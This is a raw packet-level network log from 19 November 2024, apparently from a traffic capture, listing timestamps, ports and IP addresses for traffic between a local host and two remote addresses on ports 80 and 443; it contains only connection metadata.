Nov 19, 2024 22:07:09.373541117 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.373572111 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.373594046 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.373605013 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.373617887 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.373622894 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.373641968 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.373655081 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.373677015 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.373689890 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.373697042 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.373708963 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.373725891 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.373742104 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.373749971 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.373773098 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.373785973 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.373806000 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.373817921 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.373822927 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.373841047 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.373850107 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.373869896 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.373888969 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.373889923 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.373930931 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.373948097 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374006987 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374038935 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374052048 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.374083996 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374087095 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.374103069 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374129057 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.374152899 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.374162912 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374195099 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374226093 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374239922 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.374239922 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374259949 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374275923 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.374281883 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374311924 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.374315023 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374336958 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.374346972 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374360085 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.374392986 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.374408960 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374425888 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374443054 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374464989 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.374474049 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374500990 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.374525070 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.374533892 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374551058 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374577999 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.374597073 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374603033 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.374614000 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374630928 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374639988 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.374649048 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374674082 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.374684095 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374708891 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.374715090 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374742031 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.374746084 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374763966 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374774933 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.374802113 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.374820948 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374836922 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374855042 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374874115 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.374888897 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374900103 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.374921083 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374943972 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.374953032 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374970913 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.374983072 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.374986887 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.375010014 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.375015020 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.375055075 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.375087023 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.375102997 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.375121117 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.375130892 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.375138998 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.375150919 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.375155926 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.375168085 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.375191927 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.375202894 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.375211954 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.375221014 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.375237942 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.375243902 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.375257015 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.375264883 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.375276089 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.375286102 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.375307083 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.375333071 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.375344038 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.375360966 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.375408888 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.375420094 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.375463963 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.375466108 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.375479937 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.375497103 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.375507116 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.375544071 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.375556946 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.375574112 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.375607014 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.375627995 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.375633955 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.375665903 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.375684977 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.375713110 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.375720024 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.375757933 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.375773907 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.375790119 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.375807047 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.375817060 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.375838041 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.375838995 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.375857115 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.375861883 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.375884056 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.375904083 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.375904083 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.375936985 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.375960112 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.375983000 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.375986099 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.375998020 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.376029968 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.376049042 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.376063108 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.376071930 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.376080990 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.376110077 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.376127958 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.376131058 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.376187086 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.376187086 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.376220942 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.376231909 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.376238108 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.376266003 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.376285076 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.376287937 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.376300097 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.376317024 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.376334906 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.376342058 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.376353025 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.376362085 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.376384974 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.376385927 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.376405954 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.376419067 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.376431942 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.376435995 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.376452923 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.376483917 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.376512051 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.376532078 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.376543999 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.376554966 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.376579046 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.376589060 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.376610994 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.376657009 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.376662970 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.376708984 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.376729965 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.376775026 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.376786947 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.376791000 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.376808882 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.376835108 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.376857042 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.376861095 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.376873970 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.376905918 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.376909018 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.376938105 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.376945019 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.376981020 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.376985073 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377003908 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377021074 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377037048 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.377053022 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377084017 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.377099991 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377116919 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377123117 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.377147913 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377161980 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.377180099 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377198935 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.377234936 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.377239943 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377254963 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377300024 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377306938 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.377317905 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377348900 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.377351046 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377370119 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377383947 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.377402067 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377404928 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.377427101 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.377445936 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.377449036 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377466917 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377510071 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.377530098 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377542019 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.377547979 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377566099 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377574921 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.377595901 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.377612114 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377615929 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.377654076 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.377657890 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377676010 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377692938 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377701998 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.377712011 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377723932 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.377728939 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377743959 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.377774954 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.377803087 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377820015 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377849102 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.377851963 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377883911 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.377887011 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377904892 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.377906084 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377924919 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377935886 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.377957106 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377959967 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.377973080 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.377985001 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.378005981 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.378020048 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.378051996 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.378092051 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.378103018 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.378123999 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.378137112 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.378143072 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.378163099 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.378177881 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.378197908 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.378217936 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.378223896 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.378242016 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.378271103 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.378288984 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.378292084 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.378334045 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.378349066 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.378381968 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.378384113 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.378400087 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.378417015 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.378423929 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.378436089 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.378446102 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.378452063 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.378465891 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.378488064 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.378499031 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.378545046 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.378546000 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.378562927 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.378595114 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.378602028 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.378633976 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.378647089 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.378664970 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.378683090 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.378699064 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.378700018 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.378736019 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.458477020 CET	443	49883	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.459022045 CET	49883	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.459050894 CET	443	49883	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.459423065 CET	49883	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.459429979 CET	443	49883	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.478676081 CET	443	49880	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.478743076 CET	443	49880	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.479075909 CET	443	49880	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.479084969 CET	49880	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.479149103 CET	49880	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.479217052 CET	49880	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.479253054 CET	443	49880	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.479279995 CET	49880	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.479295015 CET	443	49880	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.482414961 CET	49884	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.482500076 CET	443	49884	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.482594967 CET	49884	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.482765913 CET	49884	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.482804060 CET	443	49884	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.494961977 CET	443	49881	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.495246887 CET	443	49881	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.495318890 CET	49881	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.495479107 CET	49881	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.495500088 CET	443	49881	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.495513916 CET	49881	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.495520115 CET	443	49881	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.498086929 CET	49885	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.498147964 CET	443	49885	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.498245001 CET	49885	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.498397112 CET	49885	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.498426914 CET	443	49885	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.514982939 CET	443	49882	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.515124083 CET	443	49882	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.515280008 CET	49882	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.515424013 CET	49882	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.515445948 CET	443	49882	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.515475988 CET	49882	443	192.168.2.4	13.107.246.40
